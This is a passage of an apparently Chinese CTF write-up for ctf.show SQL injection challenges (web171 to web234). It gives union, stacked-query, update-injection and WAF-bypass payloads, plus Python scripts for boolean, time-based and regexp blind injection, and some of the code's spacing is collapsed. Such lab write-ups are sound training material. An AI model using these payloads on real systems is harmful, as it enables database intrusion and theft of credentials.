$sql="select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select 1,database(),3 --+
爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user' --+
爆数据
-1' union select 1,concat(0x7e,id,0x7e,username,0x7e,password),3 from ctfshow_user limit 25--+
web172
根据题目给出的查询语句构造 Payload
$sql="select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select database(),2 --+
爆表名
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
爆列名
-1' union select group_concat(column_name),2 from information_schema.columns where table_name='ctfshow_user2' --+
爆数据
-1' union select to_base64(username),to_base64(password) from ctfshow_user2--+
web173
根据题目给出的查询语句构造 Payload
$sql="select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";
爆数据库名
-1' union select 1,database(),3 --+
爆表名
-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列名
-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user3' --+
爆数据
-1' union select 1,to_base64(username),to_base64(password) from ctfshow_user3 --+
web174
发现无法在页面中获得输出，抓包后发现是布尔盲注
import time
import requests
defboolBlindSql(url):
flag =''for i inrange(1,100):
low =32
high =127while low < high:
mid =(low + high)>>1
payload ="?id=1\' and 1=if(ascii(substr((select password from ctfshow_user4 where username=\'flag\'),{},1))>{},1,0) --+".format(i,mid)
res = requests.get(url + payload)if'admin'in res.text:
low = mid +1else:
high = mid
if low !=32:
flag +=chr(low)print('[+] '+ flag)continueelse:breakif __name__ =='__main__':
url ="http://9260e8d4-aa8f-47ca-8737-7e4bdc8bff09.challenge.ctf.show:8080/api/v4.php"
boolBlindSql(url)
web175
发现无法在页面中获得输出，抓包后发现也没有回显，猜测是时间盲注
import time
import requests
deftimeBlindSql(url):
flag =''for i inrange(1,100):
low =32
high =127while low < high:
mid =(low + high)>>1
payload ="?id=1\' or if(ascii(substr((select password from ctfshow_user5 where username=\'flag\'),{},1))>{},benchmark(10000000,sha(1)),0)--+".format(i,mid)try:
res = requests.get(url + payload, timeout=1.5)
high = mid
except Exception as e:
low = mid +1if low !=32:
flag +=chr(low)print('[+] '+ flag)continueelse:breakif __name__ =='__main__':
url ='http://ea22cc4b-de61-4e78-8f26-7f4c5cb9b750.challenge.ctf.show:8080/api/v5.php'
timeBlindSql(url)
测试后发现当 POST tableName=ctfshow_user 时会有回显，根据回显内容构造脚本
import requests
defregexpBlindSql(url):
flag =''
chrOfFlag =r'ctfshow{-0123456789abdegijklmnpqruvxyz}'for i inrange(1,50):for ch in chrOfFlag:
data ={"tableName":"(ctfshow_user)where(mid(pass,{},1))regexp('{}')".format(i,ch)}
res = requests.post(url, data=data)if'$user_count = 1;'in res.text:
flag += ch
print('[+]'+ flag)breakif __name__ =='__main__':
url ='''http://c10f0bff-9f7e-4bdd-8d11-71c0eb7efa49.challenge.ctf.show:8080/select-waf.php'''
regexpBlindSql(url)
web184
由于这里过滤很多，上一题的 where 也被过滤了，考虑用 right join 来进行注入
import requests
import string
import binascii
url ='http://1e3df5be-6e3c-443b-b738-2471d9537f9c.challenge.ctf.show:8080/select-waf.php'
payload ={"tableName":''}
flag ='{'
chrOfFlag ='flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
judge ='$user_count = 22;'for i inrange(2,50):for c in chrOfFlag:
a = flag + c
a = a.encode('utf-8')#按utf-8编码
a = binascii.hexlify(a)#编码为16进制
a =str(a)#化为字符串
a ='0x'+ a[2:len(a)-1]#形成16进制格式
payload['tableName']="ctfshow_user a join ctfshow_user b on (substr(a.pass,8,{}) regexp {})".format(i,a)
response = requests.post(url, data = payload)if response.text.find(judge)!=-1:
flag += c
print('[+] '+ flag)break
web185
过滤了数字，用下面图片中相关内容进行绕过
import requests
url ='http://3bfb7aa3-6f20-45d2-a207-b0f1c33cbd17.challenge.ctf.show:8080/select-waf.php'
preflag ='ctfshow{'
strings ='flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
payload ='ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, {}, {}))regexp(hex({char}))'defcreateNumber(num):
ret ='hex(ceil(cot(-ascii(char_length(now())))))'if num !=1:for i inrange(num -1):
ret = ret +'+'+'hex(ceil(cot(-ascii(char_length(now())))))'return ret
defnoNumber2GetFlag():
flag =''for i inrange(42):# print('[+] Start blind {} palce'.format(i))for ch in strings:
data ={'tableName': payload.format(createNumber(i +1), createNumber(1), char=createNumber(ord(ch)))}
res = requests.post(url, data)if res.text.find('43')>0:
flag += ch
print('[+] '+ flag)breakreturn flag
if __name__ =='__main__':print(noNumber2GetFlag())
web186
过滤条件绕过后和上一题一样的脚本
import requests
url ='http://9ae687ca-baad-41a4-a8f1-a2c9dea3b271.challenge.ctf.show:8080/select-waf.php'
preflag ='ctfshow{'
strings ='flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
payload ='ctfshow_user as a right join ctfshow_user as b on hex(substr(b.pass, {}, {}))regexp(hex({char}))'defcreateNumber(num):
ret ='hex(ceil(cot(-ascii(char_length(now())))))'if num !=1:for i inrange(num -1):
ret = ret +'+'+'hex(ceil(cot(-ascii(char_length(now())))))'return ret
defnoNumber2GetFlag():
flag =''for i inrange(42):# print('[+] Start blind {} palce'.format(i))for ch in strings:
data ={'tableName': payload.format(createNumber(i +1), createNumber(1), char=createNumber(ord(ch)))}
res = requests.post(url, data)if res.text.find('43')>0:
flag += ch
print('[+] '+ flag)breakreturn flag
if __name__ =='__main__':print(noNumber2GetFlag())
web187
分析源码，发现关键点 md5($_POST['password'],true)，当该十六字符二进制格式开头为 ' or ' 时，后面的字符串为一个非零的数字开头都会返回 True，这样便可以绕过这里从而拿到 Flag，这里给出几个符合条件的字符串：ffifdyop、129581926211651571912466741651878684928、
import time
import requests
from tqdm import tqdm
deftimeBlindSql(url):
strings ='flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
flag =''
T ='(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F)'
headers ={"Content-Type":"application/x-www-form-urlencoded"}for i in tqdm(range(1,100)):
low =32
high =127while low < high:
mid =(low + high)>>1
payload ="'1') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {}, 1)) > {}, {}, 0) and ('1'"# payload = "'1') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxcc'), {}, 1)) > {}, {}, 0) and ('1'"# payload = "'1') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc), {}, 1)) > {}, {}, 0) and and ('1'"
data ={'ip': payload.format(i,mid,T),'debug':'0'}print(data)
start_time = time.time()
requests.post(url=url, data=data, headers=headers)
end_time = time.time()
diff_time = end_time - start_time
if diff_time <4:
high = mid
else:
low = mid +1if low !=32:
flag +=chr(low)print('[+] '+ flag)ifchr(low)=='}':
exit(0)continueelse:breakif __name__ =='__main__':
url ="http://4c7e8954-4478-4007-975b-ce06c34edfb8.challenge.ctf.show:8080/api/"
timeBlindSql(url)
web220
过滤条件为：preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);，继续用笛卡尔积来进行延时注入，利用 left 来匹配字符串
import time
import requests
from tqdm import tqdm
deftimeBlindSql(url):
strings ='flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
flag ='ct'
T ='(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F, information_schema.schemata G)'
headers ={"Content-Type":"application/x-www-form-urlencoded"}for i in tqdm(range(3,100)):for ch in strings:
payload ="'1') or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1), {})like'{}', {}, 0) and ('1'"
data ={'ip': payload.format(i,flag+ch,T),'debug':'0'}print(data)
start_time = time.time()
requests.post(url=url, data=data, headers=headers)
end_time = time.time()
diff_time = end_time - start_time
if diff_time <4:continueelse:
flag = flag + ch
print('[+] '+ flag)breakif __name__ =='__main__':
url ="http://41ac10b3-19ba-4719-849b-b6f8a6a2efc1.challenge.ctf.show:8080/api/"
timeBlindSql(url)
查找表名
?username=1';show tables;
查找数据
?username=1';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;
或者用预编译来做
?username=1';PREPARE H3rmesk1t from concat('sel','ect * from ctfshow_flagasa');EXECUTE H3rmesk1t;
web226
过滤了 show 和 (，用十六进制来绕过
?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
?username=1';PREPARE demo from 0x73656c656374202a2066726f6d2063746673685f6f775f666c61676173;EXECUTE demo;
web227
这道题的 Flag 需要通过查看存储过程和函数的信息来获取，即 information_schema.Routines
直接拿到 Flag 或者发现自定义的 getflag 函数通过 call getFlag(); 来获取 Flag
?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;EXECUTE demo;
web228
继续用之前的预处理 Payload
?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
?username=1';PREPARE demo from 0x73656c656374202a2066726f6d2063746673685f6f775f666c616761736161;EXECUTE demo;
web229
继续用之前的预处理 Payload
?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20666c6167;EXECUTE demo;
web230
继续用之前的预处理 Payload
?username=1';PREPARE demo from 0x73686f77207461626c6573;EXECUTE demo;
?username=1';PREPARE demo from 0x73656c656374202a2066726f6d20666c61676161626278;EXECUTE demo;
web231
开始 update 注入的学习了
爆表名
password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
爆列名
password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
爆数据
password=1',username=(select flagas from flaga) where 1=1#&username=1
web232
和上面的 Payload 差不多，改一下闭合形式就行
爆表名
password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=1
爆列名
password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flaga') where 1=1#&username=1
爆数据
password=1'),username=(select flagas from flaga) where 1=1#&username=1
web233
时间盲注
import time
import requests
from tqdm import tqdm
deftimeBlindSql(url):
strings ='flag{b7c4de-2hi1jk0mn5o3p6q8rstuvw9xyz}'
flag ='ct'
T ='(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D, information_schema.schemata E, information_schema.schemata F, information_schema.schemata G)'
headers ={"Content-Type":"application/x-www-form-urlencoded"}for i in tqdm(range(3,100)):for ch in strings:
payload ="'1') or if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1), {})like'{}', {}, 0) and ('1'"
data ={'ip': payload.format(i,flag+ch,T),'debug':'0'}print(data)
start_time = time.time()
requests.post(url=url, data=data, headers=headers)
end_time = time.time()
diff_time = end_time - start_time
if diff_time <4:continueelse:
flag = flag + ch
print('[+] '+ flag)breakif __name__ =='__main__':
url ="http://41ac10b3-19ba-4719-849b-b6f8a6a2efc1.challenge.ctf.show:8080/api/"
timeBlindSql(url)
web234
单引号被过滤了，用 \ 实现逃逸
username=,username=(select group_concat(table_name) from information_schema.columns where table_schema=database())-- - &password=\
username=,username=(select group_concat(column_name) from information_schema.columns where table_name=0x666c6167323361)-- - &password=\
username=,username=(select flagass23s3 from flag23a)-- - &password=\
4054
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
